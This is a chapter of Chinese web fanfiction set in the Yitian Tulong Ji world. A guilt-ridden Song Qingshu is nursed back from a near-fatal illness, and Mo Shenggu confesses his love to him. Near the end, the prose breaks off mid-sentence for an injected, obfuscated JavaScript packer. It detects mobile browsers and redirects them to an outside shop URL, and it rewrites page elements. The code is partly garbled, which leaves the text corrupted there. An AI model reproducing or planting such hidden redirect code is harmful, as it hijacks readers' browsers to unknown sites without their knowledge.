“大哥。”张松溪忽然出声打断,他心思最为缜密,已从宋青书那近乎崩溃的反应中看出了端倪,那绝非简单的失手或误会所能解释。他看了一眼面色沉凝的师父,又看向痛苦不堪的宋青书,心中暗叹,对宋远桥摇了摇头,示意他不要再追问。 张三丰的目光在宋青书剧烈颤抖的脊背上停留片刻,那双看透世情的眼眸深处,掠过一丝极深的了然与悲悯。 “罢了。”老人最终开口,声音里带着一丝疲惫,“青书刚醒,心神未定,此事……容后再议吧。让他好好休息。” 师父发了话,宋远桥等人纵有千般疑问,万种焦虑,也只能暂且压下。又嘱咐了宋青书几句安心养病的话,几人便陆续退了出去,只留下满室沉寂和床上那个将自己蜷缩起来、仿佛想就此消失的身影。 然而,“容后再议”终究没有再来。之后几日,无论是宋远桥私下询问,还是俞莲舟沉着脸探问,甚至殷梨亭委婉提起,只要一触及“七叔”、“莫声谷”、“屠狮大会上的话”这些字眼,宋青书便立刻像是被抽走了魂魄,面色惨白,眼神惊惧涣散,紧抿着嘴唇,一个字也不肯吐露,只用无尽的沉默和生理性的颤抖来回应。那沉默比任何辩解或哭诉都更有力,也更让人心沉。 于是,众人渐渐明白了。那是一个他宁可背负着、折磨着自己,也绝不愿出口的秘密。一个或许永远无法愈合的伤口。看他那形销骨立、终日惶惶的模样,再硬的心肠,也无法继续逼问下去。 “算了,”宋远桥在某次叹息后,对几位师弟说道,“既然他不想说……或许有他的难处。眼下,养好身子最要紧。” 话虽如此,宋青书的身子却并未因回到安全的故地、服用灵药而好转。他吃得极少,睡得极不安稳。身体的外伤在张三丰亲自调理下渐愈,可心头的郁结与惊惧,却日复一日地加深。 噩梦成了每夜的常客。 总是相似的场景,相似的冰冷与猩红。有时是七叔倒下的身影,有时是周芷若冰冷的眼眸,有时是无数鄙夷唾骂的面孔,有时是父亲和师叔们失望至极的眼神……他在梦魇中挣扎、呻吟、甚至惊叫,浑身冷汗涔涔,将里衣褥子都浸得透湿。每次惊醒,都像是从水里捞出来,瞳孔放大,急促地喘息,好半天都回不过神,只是茫然又惊恐地瞪着黑暗的虚空。 而每当这时,总有一只手会适时地递过一杯温水,或是一块拧干的温热布巾。动作不甚熟练,甚至有些生硬,却稳当而坚持。 是莫声谷。 自宋青书回山那日起,莫声谷便几乎住在了这院落的外间。他话很少,多数时候只是沉默地坐在不远处,或是擦拭他那柄许久未用的长剑,或是翻阅一些旧拳谱。宋青书清醒时,两人之间几乎无话。宋青书不敢看他,他也似乎不知该如何面对这个曾经最亲近、如今却隔着血色迷雾的师侄。那种寂静,比责骂更令人窒息。 可每当夜深人静,宋青书被噩梦魇住,莫声谷总是第一个来到床前。他不点灯,就着窗外透进的微弱天光,看着宋青书在梦中痛苦挣扎,眉头紧锁,拳头上青筋隐现。他从不轻易叫醒他,只是守着,直到宋青书自己惊醒,陷入那种失魂落魄的恐惧中,他才会上前,递水,递布巾,偶尔,极偶尔地,伸手按住宋青书因梦魇而痉挛的肩膀,沉声说一句:“是梦。醒了。” 他的声音粗粝沙哑,没什么安慰的暖意,却奇异地带着一种定力。宋青书在这种时候,会稍稍平静一些,接过水杯的手抖得不那么厉害,然后,在更加难堪的沉默中,别过脸去。 这一夜,秋风更紧了些,吹得窗纸扑簌作响。宋青书服了药,昏昏沉沉睡去。没多久,那熟悉的噩梦再度降临,且比往日更加清晰酷烈。他仿佛又回到了那个冰冷的夜晚,手中剑不受控制地刺出,对面,七叔惊愕的脸庞在月光下放大,鲜血喷溅的声音如此真切…… “不……不要……七叔!”他在梦中嘶喊,徒劳地想要抓住什么,“别死……求你……别死……是我的错……都是我的错……”泪水从紧闭的眼角汹涌而出,混着冷汗,浸湿了鬓发。 莫声谷如往常一样,悄无声息地站在了床前。窗棂透进的微光,勾勒出宋青书痛苦扭曲的面容和满脸的泪痕。那一声声绝望的、带着哭腔的“七叔别死”、“是我的错”,在寂静的夜里,字字清晰,锤子般砸在莫声谷心上。 他脸上没有什么表情,只是那下颌的线条绷得极紧。他就那样站着,看了很久,看着宋青书在悔恨的炼狱里煎熬。然后,他慢慢地、极其缓慢地,在床沿坐下。 伸出粗糙带茧的手,动作有些迟疑,却终究落了下去。指腹拭过宋青书湿冷的脸颊,将那纵横交错的泪痕,一点一点,轻轻擦去。 掌心触及的皮肤冰凉,颤抖。那泪水却滚烫,几乎要灼伤他的指尖。 他的嘴唇动了动,似乎想说什么,喉结上下滚动了几下,最终,只是用那沙哑的、却似乎柔和了一点的声音,低低道: “青书,七叔在这里。” 床榻上,宋青书在梦魇深处的哭求,似乎微微顿了一下。紧蹙的眉头,几不可察地,松开了一丝缝隙。但那泪水,却仿佛流得更凶了。只是这一次,不再是全然绝望的冰冷,而是混杂了某种无法言喻的、更深沉的悲恸。 日子在武当山的云雾与钟声里,一天天流过,窗外的叶子由深绿转为枯黄,又一片片打着旋儿落下。宋青书的病榻生活,也像这渐渐凋零的秋色,不见起色,只余下日复一日的虚弱与沉寂。 他终日躺在那里,脸色比新糊的窗纸还要白上几分,下颌尖削,眼窝深陷,唯有一双眼睛,时常空茫地睁着,望着帐顶繁复的纹路,或是窗外一方被屋檐切割的天空,里头映不出什么光亮,只有一片沉郁的灰。汤药一碗碗端进来,又几乎原封不动地撤下去。人醒着的时候少,昏睡的时候多,即便醒着,也吝于开口,像一株失了水分的植物,慢慢在枯萎。 武当诸侠看在眼里,急在心头。他们轮番来探望,用尽办法开导。 宋远桥坐在床边,握着儿子冰凉的手,声音里是强压下的哽咽:“青书,爹知道你心里苦。可人非圣贤,孰能无过?知错能改,善莫大焉。武当永远是你的家,爹……爹永远是你爹。你别这样糟蹋自己,好不好?” 宋青书听着,睫毛颤动,却只是将脸更偏向里侧,留下一截苍白脆弱的脖颈。 俞莲舟带来的则是严厉的关切:“男儿大丈夫,顶天立地!做错了,便扛起来!这般不死不活,算什么?说出来,天大的事,武当上下一起担着!” 他的目光如电,试图刺穿那层自我封闭的硬壳。宋青书在他的逼视下瑟瑟发抖,牙齿磕碰,却仍旧紧抿着唇,仿佛那嘴唇已被无形的针线缝死。 张松溪心思缜密,旁敲侧击,讲些江湖旧事,前辈英豪也曾行差踏错,最终迷途知返,亦能赢得身前身后名。殷梨亭最是温和,只絮絮说着山间的琐事,新开的野菊,后山潭水结了薄冰,试图用这些细微的生趣,将宋青书从绝望的泥潭里稍稍拉出一点。 甚至莫声谷,在无数个守夜的晚上,在宋青书被噩梦魇住、冷汗淋漓时,除了递上水巾,沉默良久后,也会生硬地挤出几句:“过去了。活着,就好。” 他的手偶尔落在宋青书因惊悸而弓起的背上,笨拙地拍两下,那动作里蕴含的复杂情绪,远非言语能及。 然而,所有的劝慰、鼓励、乃至无声的陪伴,都像石子投入一口深不见底的古井,除了最初那点微弱的、几乎听不见的“扑通”声,便再无回响。宋青书将自己封闭得更紧,那层由悔恨、恐惧和自厌筑成的壁垒,看似脆弱,却牢不可破。他的气息一日弱过一日,仿佛风中残烛,随时都会彻底熄灭。 众人私下商议,皆是忧心忡忡,无计可施。再这样下去,恐怕不是心疾不愈,而是生机将绝了。 这一日,秋阳惨淡,透过窗纸,只在地上印出一片模糊的昏黄光晕。宋青书刚服了药,正昏沉间,忽觉室内光线微微一暗,一股熟悉的、宁和至极的气息悄然弥漫开来。他费力地睁开眼,看见张三丰不知何时已坐在了床前的椅子上,依旧是那身旧道袍,银发如雪,面容平静,正静静地看着他。 没有责问,没有叹息,只是那样平静地看着,目光却仿佛能穿透皮囊,直抵灵魂最狼狈不堪的角落。 “青书,”张三丰开口,声音不高,却带着一种奇异的穿透力,直入心扉,“你愿意……和我这个老头子,聊一聊吗?” 不是“有何心事”,不是“从实说来”,只是一个简单至极的询问——“愿意聊一聊吗?” 宋青书浑身一震。自回山以来,太师父亲自诊脉,吩咐用药,目光中的痛惜他并非感觉不到,但如此单独、如此平和的“聊一聊”,还是第一次。那目光里没有逼迫,只有包容的等待,像一个无比宽广、深不见底的港湾,静候着一艘支离破碎、迷失方向的小舟。 他枯寂的心湖,仿佛被投入了一块巨大的石头,死水微澜。那壁垒裂开了一道细缝。巨大的委屈、恐惧、还有那几乎要将他逼疯的秘密,如同被堤坝阻拦了太久的洪水,疯狂地冲击着那道缝隙。他张了张嘴,干裂的嘴唇翕动,喉咙里发出“嗬嗬”的轻响。 不能说……那是重生,是妖孽,是比杀死七叔更不可饶恕的诡异……谁会信?谁敢信? 可那目光太温暖,太包容,他太想在那温暖里得到片刻的喘息,哪怕只是虚幻的安慰。 “太……太师父……”他声音嘶哑得如同破旧风箱,每一个字都耗尽全力,“我……我做了一个梦……一个很长……很可怕的梦……” 张三丰微微倾身,做出倾听的姿态,神情专注。 “梦里……我……我把七叔杀了……”宋青书闭上眼,泪水从眼角滚落,没入鬓发,“我用剑……刺穿了他……他看着我……他不相信……” 他全身开始剧烈地颤抖,仿佛重新置身于那个冰冷血腥的夜晚。 “然后……我害怕……我逃了……我投了丐帮,又……又跟了峨眉……我帮着外人,对付武当……对付爹,对付各位师叔……我……我还想害无忌弟弟……” 他语无伦次,将前世的罪孽,夹杂着今生的愧悔,一股脑地倾倒出来,只是统统归之于“梦”。这“梦”如此清晰,如此真实,每一个细节都刻骨铭心,听得张三丰眉头微蹙,眼神深处光影变幻。 终于,他说完了,或者说,暂时被抽干了所有力气,只剩下空洞的喘息和止不住的泪水。他不敢看张三丰的眼睛,只死死揪着身下的被褥,等待最终的审判——哪怕只是对一个“梦”的审判。 良久,一只温暖干燥的手,轻轻覆上了他紧攥的、指节发白的手。 “痴儿……”张三丰的声音缓缓响起,带着洞悉世情的沧桑与悲悯,“梦中种种,固然可怖,然梦醒皆空。日有所思,夜有所梦,你心有挂碍,有惊惧,有对自身德行修为的深切不安,故有此噩梦纠缠。” 他的手微微用力,传递着一种沉实的力量。“纵使你梦中当真犯下大错,那亦非你一人之过。是我,是你父亲,是你诸位师叔,是我们整个武当,未能将你教导向善,未能及时察你心魔,导你迷津。此乃武当之失,岂能由你一人独担?” 宋青书猛地睁大眼睛,难以置信地看着张三丰。太师父……太师父竟将罪责揽到了整个武当身上?为了安慰他,竟如此说? “所以,不必如此苛责自己,折磨自己。”张三丰看着他,目光清澈而包容,“只是一个梦而已。醒了,便放下罢。武当山还在,你父亲、师叔们都在,太师父也在。慢慢养好身子,以后的路,还长。” “只是一个梦……而已?” 这句话像是最温柔的抚慰,也像是最锋利的针,骤然刺穿了宋青书强撑的伪装。那沉重的、真实的、血淋淋的一生,那无法挽回的死亡与背叛,在太师父慈悲的“梦而已”三个字面前,变得无比荒谬,又无比绝望。 他想大喊:不是梦!是真的!我亲眼看见七叔倒下,亲身体会过众叛亲离,亲手将武当的声誉踩入泥泞!那不是梦,那是我真实经历过的地狱! 汹涌的情绪冲垮了最后的心防,剧烈的悲恸与几乎脱口而出的真相在他胸腔里疯狂冲撞。他喉咙一甜,眼前猛地发黑,太师父慈和的面容、窗外昏黄的光晕,一切都旋转着远去。 在意识彻底沉入黑暗的前一瞬,他嘴唇无声地开合,仿佛用尽了灵魂最后的力量,想对眼前这位世间最慈悲的长者问出一句—— 假如……不是梦呢? 可他没能发出任何声音,身体一软,彻底晕厥过去。 “青书!” 张三丰面色一凝,立刻扶住他倒下的身子,二指急探他脉门,只觉脉象乱如麻絮,气若游丝,竟是急痛攻心,油尽灯枯之兆。老人向来古井无波的脸上,终于显出一丝清晰的忧急。 “远桥!莲舟!” 他沉声唤道,声音瞬间传遍院落。 就在武当诸侠闻声急急赶来,屋内一片忙乱之际,院外忽然传来弟子欣喜的通报声: “掌门师伯!二师伯!无忌师兄回来了!” 话音未落,一道青影已如疾风般卷入房中,正是自少林屠狮大会后,安置好谢逊事宜,便日夜兼程赶回武当的张无忌。他一眼看到床上气息奄奄的宋青书和围在床前神色凝重的太师父与诸位师伯师叔,心中一沉。 “太师父,大师伯,青书师兄他……” 张无忌不及细礼,急步上前。 “无忌,你回来得正好!” 宋远桥如同抓住救命稻草,一把拉住他,“青书他……你快看看!” 张无忌坐到床边,执起宋青书腕脉,九阳神功自然流转,细细探察。片刻后,他眉头紧锁:“师兄体内旧伤未愈,阴寒郁结于肺腑经络,更兼心力交瘁,五脏皆衰,生机微弱……情形不妙。” “可能救?” 俞莲舟声音发紧。 张无忌目光坚定,点了点头:“我以九阳神功纯阳之力,或可驱散部分阴寒,护住心脉,激发他自身生机。但能否醒来,又能恢复多少,最终还得看师兄自己的心志。” 言罢,他扶起昏迷的宋青书,自己盘膝坐于其身后,双掌缓缓贴于其后心“灵台”“至阳”二穴。精纯浩荡的九阳真气,如初春暖阳,又如温润潮水,自他掌心汩汩涌入宋青书冰冷的躯体。 初时,宋青书毫无反应,身体依旧冰冷僵硬。张无忌不急不躁,内力源源不绝,循序渐进。约莫一盏茶功夫,只见宋青书苍白如死的脸上,渐渐泛起一丝极淡的、几乎看不见的血色,紧蹙的眉尖似乎松开了毫厘,冰凉的手脚,也隐约有了些许暖意。 武当诸侠屏息凝神,张三丰静立一旁,目光深邃,看着张无忌额角渗出细密汗珠,也看着宋青书那微弱却真实浮现的生命迹象。 九阳神功,至阳至纯,正是驱除阴寒、续接生机的无上法门。在这股沛然莫御的纯阳真气滋养下,宋青书那盏即将熄灭的生命之火,终于得到了一丝宝贵的燃料,重新开始微弱地、顽强地跳动起来。 然而,那深深扎根于灵魂的寒冰与荆棘,那场“非梦”的沉重真相,是否也能被这阳光融化、拔除?无人知晓。 房内,只有真气流转的细微声响,和众人压抑的呼吸。 张无忌的九阳神功,至阳至纯,如春日照雪,又如甘霖渗入龟裂的荒土,持续不断地注入宋青书冰寒郁结的经脉肺腑。一连七日,张无忌除了短暂调息,几乎未曾离开宋青书榻前,额发被汗水浸湿,又以内力蒸干,反反复复。 在他精纯内力不懈的滋养下,宋青书脉象中那股摧折生机的阴寒邪气,终于被渐渐驱散、压制下去。他苍白的脸上褪去了骇人的死灰色,透出一点虚弱的活气,冰凉的四肢也有了稳定的暖意。身体的本源,被强行从悬崖边拉了回来。 然而,人却迟迟没有醒来。 他就像是沉在了一片无边无际的、粘稠的黑暗梦魇之海里。眉头时而紧锁,时而痛苦地抽动,眼睫颤动,嘴唇无声地开合,仿佛在抵御着什么,又像是在绝望地诉说。冷汗依旧时不时浸透衣衫,偶尔从喉咙深处溢出几声破碎的、含义不明的呜咽。他活着,呼吸着,却仿佛被自己的灵魂遗弃在了某个永不天明的荒原。 武当诸侠的心,随着他身体的回暖,又因这长睡不醒而再次高高悬起,焦灼不已。 宋远桥眼看着他被噩梦魇住时痛苦挣扎的模样,心如刀割,却又无计可施,只能一遍遍用温热的布巾擦拭儿子额头的冷汗,低声唤着:“青书,青书,醒醒,爹在这儿……” 俞莲舟沉默地站在一旁,脸色铁青,拳头握得咯咯作响。他能搏杀强敌,能料理偌大门派事务,却不知该如何唤回一个被心魔囚禁的魂魄。张松溪眉头深锁,翻遍医书古籍,寻找类似癔症心疾的记载,与殷梨亭低声商讨,尝试更换安神定志的方子,药味在小小的院落里终日不散。 莫声谷依旧守夜最多。他不再只是递水递巾,而是在宋青书挣扎得最厉害时,用力按住他胡乱挥动的手臂,或是将他因痉挛而蜷缩的身体强硬地扳开,动作近乎粗鲁,却又带着一种不容置疑的“你必须撑住”的力道。他很少说话,只是那双总是明亮锐利的眼睛,如今蒙上了一层厚重的阴翳,一眨不眨地盯着床上的人,仿佛要凭目光将那梦魇的帷幕烧穿。 张三丰每日都来,静坐片刻,搭一次脉,看看气色。他的目光深邃,仿佛能看透那层眼皮之下激烈的风暴。这一日,他诊脉完毕,对围在身边的弟子们缓缓道:“外邪已祛,经脉渐通。如今困住他的,非药石所能及,乃是他自己画地为牢,心魔自囚。” “师父,难道就没有别的法子了吗?”宋远桥声音沙哑,透着一丝绝望。 张三丰沉默良久,目光扫过床上昏睡不醒的徒孙,又掠过床边形容憔悴的莫声谷,轻轻叹了口气:“心病还须心药医。这心药……或在你们,或在他自己。强求不得,唯有等待,与……恰当的机缘。” “恰当的机缘?”俞莲舟不解。 老人却不再多言,只道:“好生看护着。”便起身离去,背影在秋日的廊下,显出几分罕见的萧索。 机缘,何时能至? 又是深夜。秋风呼啸着穿过山谷,摇动窗棂,发出呜咽般的声响。屋内只点了一盏如豆的油灯,光线昏黄黯淡,将人影拉长,扭曲地投在墙壁上。 宋青书似乎陷入了更深、更混乱的梦魇。他不再只是颤抖呜咽,而是开始发出清晰的、充满惊恐与痛苦的呓语。 “不……不要过来……七叔……我不是故意的……” “爹……师叔……别看我……别那样看我……” “错了……全都错了……回不去了……” “芷若……为什么……为什么要逼我……” “杀了我吧……求求你们……杀了我……” 字字句句,破碎零落,却像一把把淬了冰的小刀,割在守夜人的心上。宋远桥今夜守在外间,听着里间儿子那一声声绝望的哀鸣,老泪纵横,以手掩面,不忍再听。俞莲舟和张松溪站在门外廊下,听着里面动静,脸色阴沉如水,相对无言。 只有莫声谷,依旧坐在里间床前的矮凳上。油灯的光晕勾勒出他紧绷的下颌线条和紧抿的嘴唇。他听着那些胡话,那些颠三倒四、混杂着“七叔”、“背叛”、“杀害”、“悔恨”的词语,脸色越来越沉,眼中的阴翳几乎要化为实质的火焰。 终于,在宋青书又一次嘶哑地喊出“七叔!剑!血!”并剧烈挣扎,几乎要从床上滚落时,莫声谷猛地站起。 他没有再去扶他,也没有试图安抚。他一步跨到床前,俯下身,双手猛地按住了宋青书瘦削的肩膀,将他牢牢钉在床榻上。他的动作很大,带着一股压抑已久的、近乎暴躁的力量。 然后,他盯着宋青书那双即使紧闭也仿佛盛满无尽痛苦的眼睛,用一种前所未有的、斩钉截铁、甚至带着怒意的声音,一字一句,清晰无比地低吼出来,仿佛要凭借这声音,直接撞进那混沌噩梦里去: “宋青书!你听清楚了!” “你没杀我!你的剑,没碰到我分毫!” “我也没死!我好端端站在这儿!看清楚!” 他手上用力,几乎要将宋青书的肩骨捏碎,声音却奇异地混杂着暴怒与一种更深沉的东西: “受伤的是你!倒下去的是你!血流了一地、差点救不回来的是你!” “听见没有?!是你自己!” 最后几个字,他几乎是咬着牙迸出来的。吼完这一通,他胸口剧烈起伏,气息粗重,那双总是明亮的眼睛里,翻涌着复杂的情绪——有不解,有烦躁,有心痛,还有一丝连自己都未曾察觉的、被那声声“杀害”指控所刺伤的痛楚,以及……想要狠狠打醒对方的冲动。 房间里骤然死寂。只剩下莫声谷粗重的喘息,和窗外呜咽的风声。 床上的宋青书,仿佛被这突如其来的、雷霆般的声音震住了。他所有的挣扎、呓语,都在那一瞬间戛然而止。紧蹙的眉头僵在那里,惨白的脸上没有任何表情,仿佛一具空壳。 时间,在这凝滞的寂静中,缓慢地流淌了几息。 然后,极其细微地,宋青书那一直僵硬蜷曲的手指,几不可察地动弹了一下。 紧接着,那浓密濡湿的眼睫,开始剧烈地颤动起来,仿佛濒死的蝶翼在做最后的挣扎。一下,又一下,越来越快。 终于,在莫声谷依旧灼灼的、带着怒意与执拗的逼视下,在那句“是你自己受伤了啊”如同惊雷般反复回荡的意识深处—— 宋青书紧闭了不知多少时日的眼睛,缓缓地,极其艰难地,睁开了一道缝隙。 那缝隙里,最初只有一片空洞的茫然,映着昏暗跳动的灯焰。慢慢地,那茫然中开始汇聚焦点,一点点,极其迟缓地,对准了床前那张无比熟悉、此刻却因激动和怒意而显得有些陌生的脸庞。 七叔…… 莫声谷…… 活着……的…… 他的嘴唇极其轻微地哆嗦了一下,似乎想确认什么,想发出声音,却终究没有力气。只有眼角,一滴混浊的、滚烫的液体,悄无声息地,顺着苍白的脸颊滑落,没入鬓边散乱的发丝里。 那滴泪,仿佛耗尽了他刚刚聚集起的一丝生气。眼睛只睁开了那么一瞬,便又无力地阖上。但这一次,那眉宇间的痛苦挣扎,似乎……真的,淡去了一丝丝。 莫声谷依旧维持着俯身按压的姿势,一动不动,只是那眼中的怒火,在看到那滴泪时,骤然熄灭,化为了更深、更沉的疲惫,与一丝茫然的无措。 他刚才……是不是太凶了? 门外,隐约听到里面动静的宋远桥等人,已悄然聚到了门口,屏息看着这一幕,眼中交织着震惊、希冀,与更深的疑惑。 青书,这是……要醒了吗? 那句“你没杀我”,究竟意味着什么?而青书心中那真正囚禁他的、比死亡更可怕的东西,又到底是什么? 自那夜被莫声谷一声断喝,从最深沉的梦魇中勉强撕开一道裂隙后,宋青书总算是“醒”了过来。 不是骤然清明、霍然痊愈的那种醒。更像是溺水之人被强行拖出水面,呛咳着,喘息着,睁开了眼,意识却仍有一半陷在冰冷黑暗的水底,湿漉漉,沉甸甸。他开始按时服药,能勉强喝下些米粥,偶尔被搀扶着在廊下坐一坐,晒一晒深秋稀薄的阳光。武当诸侠悬着的心,总算是稍稍落回实处一些,面上也见了些许松快。张三丰再来探视时,诊脉后亦微微颔首,只嘱咐仍需静养,不可劳神。 然而,所有人都能感觉到,醒来的宋青书,不一样了。 他变得很“淡”。 眼神是淡的,望向哪里都没有焦点,空茫一片,映不出山光云影,也映不出亲人关切的面容。说话是淡的,声音低微,问一句答半句,字句简省得像在吝啬力气,语气里听不出喜怒哀乐,平静得近乎麻木。对周遭的一切——父亲端来的参汤、六叔寻来的新奇小玩意、甚至太师父偶尔的询问——他都只是被动地接受,像一截随波逐流的枯木,引不起半分兴趣。 最明显的是,他落下了一个咳疾。并不总是剧烈地咳,更多时候是闷在胸腔里,低低地、压抑地轻嗽,尤其在夜深人静,或情绪稍有波动时。咳的时候,他会微微蹙眉,用手抵着唇,肩背轻轻颤动,脸颊泛起一层病态的红晕,咳完了,便又是那副波澜不惊的淡薄样子,仿佛刚才那阵难受不曾发生过。张无忌以九阳神功为他调理多次,也只能略减其势,断不了根。张三丰说是“肺腑旧伤,兼之郁气凝结,非朝夕可解”。 只有莫声谷在的时候,那层“淡”会泛起一丝几不可察的涟漪。不是变得更生动,而是一种……近乎僵硬的、戒备的淡。 自那夜之后,莫声谷依旧常来,甚至比之前更勤了些。他不再整夜守在外间,但一天里总会过来几趟,有时送药,有时只是沉默地坐一会儿,看他喝完药,或是在他忍不住低咳时,默默递上一杯温度正好的水。两人的交流依旧少得可怜,目光也极少相接。宋青书总是垂着眼,盯着自己的指尖,或是一角被褥。 可有些东西,终究是不同了。那声石破天惊的“你没杀我”,那按在肩上几乎要捏碎骨头的力道,那混合着怒意、痛楚和某种更深沉情感的眼神……像一根烧红的针,扎进了宋青书混沌麻木的意识里,带来尖锐的刺痛,却也刺破了一些自欺的迷雾。 他开始模模糊糊地察觉,七叔待他,似乎与父亲、与其他师叔……不太一样。那沉默里的专注,那粗粝动作下的小心,那看着他时眼中无法全然掩藏的复杂光芒……不再是单纯的师门长辈对犯错晚辈的恨铁不成钢,或是怜悯。那里面,掺杂了太多让宋青书本能感到惶恐、想要逃避的东西。 愧疚。他可以对七叔满怀愧疚,跪地求饶,甚至以命相抵。那是他欠下的债,他认。 可是……别的? 光是生出这个念头,就让他脊背发凉,心口那郁结的气又开始翻腾,引得他一阵闷咳。他怎么可能?怎么敢?他这般污秽不堪、罪孽深重之人,对七叔……除了赎罪,岂能有丝毫其他妄念?而七叔对他……不,那一定是错觉,是七叔仁义,是看他可怜。 他拼命将那点可怕的涟漪压下去,用更深的“淡”来武装自己,在面对莫声谷时,那份刻意维持的平静下,是无人能见的惊涛骇浪与自我厌弃。 这一日,秋雨淅淅沥沥,敲打着屋檐,寒意透过窗隙漫进来。宋青书拥着薄被,靠在床头,望着窗外雨线出神,手里无意识地捻着被角。莫声谷推门进来,带来一股微湿的寒气,手里端着刚煎好的药。 照例是沉默地递过去,看着宋青书接过去,小口小口,眉都不皱地喝完,再接过空碗。 就在莫声谷转身准备离开时,宋青书忽然又低低咳了起来,这次咳得有些急,单薄的肩胛骨透过中衣清晰可见地耸动着。 莫声谷脚步顿住,回头看他。宋青书咳得眼角泛红,下意识地抬手掩嘴,指缝间漏出压抑的呛咳声。 莫声谷走到桌边,倒了杯水,又走回床边,却没有立刻递过去。他就那么站着,看着宋青书咳得微微蜷起身子,看着他那副仿佛要将心肺都咳出来的脆弱模样,眉头紧紧锁着。 宋青书好容易止住咳,喘息未定,脸上潮红未褪,一抬眼,正对上莫声谷的目光。那目光不再是以往那种单纯的忧虑或烦躁,而是沉沉的,带着一种洞悉的、甚至是灼人的温度,直直看进他竭力维持的平静深处。 宋青书心头一慌,立刻垂下眼,指尖揪紧了被角。 “青书。”莫声谷忽然开口,声音比平时更低哑一些,混在淅沥雨声里,有种别样的清晰。 宋青书身体几不可察地僵了一下,没应声。 “看着我。”莫声谷说,语气不是命令,却有种不容回避的力量。 宋青书指尖掐得更紧,犹豫了许久,才极慢、极艰难地,重新抬起眼帘,目光却只敢落在莫声谷胸前衣襟的褶皱上。 莫声谷看着他那副如临大敌、恨不得把自己缩进壳里的样子,胸口那股憋闷了许久的情绪,忽然就冲了出来。他知道不该说,时机不对,青书的状态更不对。可有些话,再不说,他怕自己先被这沉默和对方无意识的躲避逼疯。 他深吸一口气,雨水潮湿的气味混着药香涌入肺腑。 “我晓得你在想什么。”他开口,每个字都说得很慢,很重,像是斟酌了千百遍,“你怕。怕我,也怕你自己。” 宋青书猛地一颤,倏地抬眼,撞进莫声谷坦荡而深邃的眸子里,那里面映着他自己惊慌失措的脸。 “你不用怕。”莫声谷向前踏了一小步,距离拉近,压迫感更强,语气却奇异地缓和下来,甚至带着一种近乎笨拙的安抚,“我对你……是存了别的心思。和大师兄、和其他师兄弟,都不一样。” 他顿了顿,似乎在寻找更准确的词,最终选择了一种最直白、也最不容错认的说法: “我喜欢你。宋青书。” “轰”的一声,宋青书只觉得脑子里有什么东西炸开了。一片空白之后,是剧烈的眩晕和更深的恐惧。他脸色“唰”地变得惨白,嘴唇哆嗦着,想后退,背却紧紧抵着床栏,无处可退。 “七……七叔……你……”他语无伦次,声音抖得不成样子,“不……不能……我是……我……” “听我说完!”莫声谷打断他,声音陡然提高,带着不容置疑的强硬,但随即又压了下去,那份笨拙的、努力克制的温和再次浮现,“我喜欢你,那是我的事。” 他盯着宋青书惨白的脸和惊惶的眼,一字一句,清晰无比: “你不用想着回应,更不用觉得欠了我什么,或是该怎样。你以前怎么做,以后还怎么做。想说话就说,不想说就沉默。想见我,我就在;不想见,我也可以不来。” 他的目光落在那只紧攥被角、指节发白的手上,喉结滚动了一下。 “只是,别因为这事,再把自己往死路上逼。”他的声音低沉下去,带着一种近乎恳切的沉重,“你愧疚,你悔恨,你觉得自己不配,那都是你心里的事,我管不着。但唯独别因为我的这份心思,觉得是负担,是又一件对不起谁的事。” “青书,”他最后叫了他的名字,语气是前所未有的郑重,又仿佛带着一丝释然,“我喜欢你,是我的选择,我的事。与你无关。你记着这个就行。” 说完,他将手里那杯一直握着的、已经半温的水,轻轻放在宋青书手边的矮几上。杯底与木质桌面相触,发出一声轻微的“嗒”响。 然后,他不再看宋青书瞬间涌上泪水、混杂着极度震惊、茫然、无措,以及更深重痛苦的眼睛,转身,大步走了出去,甚至轻轻带上了房门。 雨声忽然变得清晰起来,滴滴答答,敲在瓦上,也敲在宋青书空洞洞的心上。 他僵在原地,一动不动,只有眼泪毫无征兆地、大颗大颗滚落下来,砸在手背上,溅在锦被上,烫得他微微一颤。 七叔说……喜欢他。 七叔还说……与他无关。 那沉重的、几乎将他压垮的愧疚之外,忽然被强行塞进了另一种全然陌生、让他更加恐惧无措的情感可能。而给予这份可能的人,却又亲手斩断了它可能带来的任何责任与纠缠。 他该怎么办? 他能怎么办? 胸腔里那股滞涩的气息又开始翻搅,他捂住嘴,发出一连串压抑的、痛苦的闷咳,咳得浑身发颤。 病去,果然抽丝。 咳嗽却像狡猾的藤蔓,趁虚而入,缠着肺腑,成了去不掉的根。起初只是偶尔一声轻嗽,在宋青书试图多说几句话,或是晨起吸了微凉空气时。后来便成了夜里固定的访客,总是在他即将沉入睡眠的边界,毫无预兆地窜上来,绞得他弓起身子,咳得面红耳赤,眼角逼出泪花,胸口闷痛如堵着湿棉。 药是不断顿的,张无忌调整了数次方子,俞莲舟甚至亲自下山请了名医会诊。都说这是伤了肺络,需得徐徐图之,切忌焦躁。众人听了,面上不显,心里却都蒙上一层隐忧。 宋青书明明能够自己治好自己的。 可是他做什么都打不起精神。 更让人心焦的,是宋青书眉宇间那抹挥之不去的郁郁。 他的身体分明在好转。能下床走动了,能在院子里晒上半晌太阳,饭食也渐渐恢复。师叔们轮番陪着,说话,散步,甚至莫声谷试着讲些并不好笑的陈年旧事想逗他开颜。宋青书总是配合的,他微笑,点头,轻声应答,礼节周全,无可挑剔。 可那笑意,像冬日窗上的薄霜,看着有,指尖一触,便只剩一片冰冷的模糊。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109889|195845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常常说着话,眼神就飘忽开去,落在远处某片虚空里,失了焦距。咳嗽袭来时,他侧过身,用手背抵着唇,压抑着闷响,肩胛骨在单薄的衣衫下耸动,待平复后转回脸,除了眼眶微红,表情平静得让人心头发紧。可那份平静之下,分明有种东西在沉寂,在枯萎。 殷梨亭最是着急。这日他端来新炖的川贝雪梨,看着宋青书小口小口喝下,忍了又忍,还是温声道:“青书,可是哪里还不舒服?心里有事,别闷着,跟六叔说。”他的声音那么软,带着近乎恳求的意味。 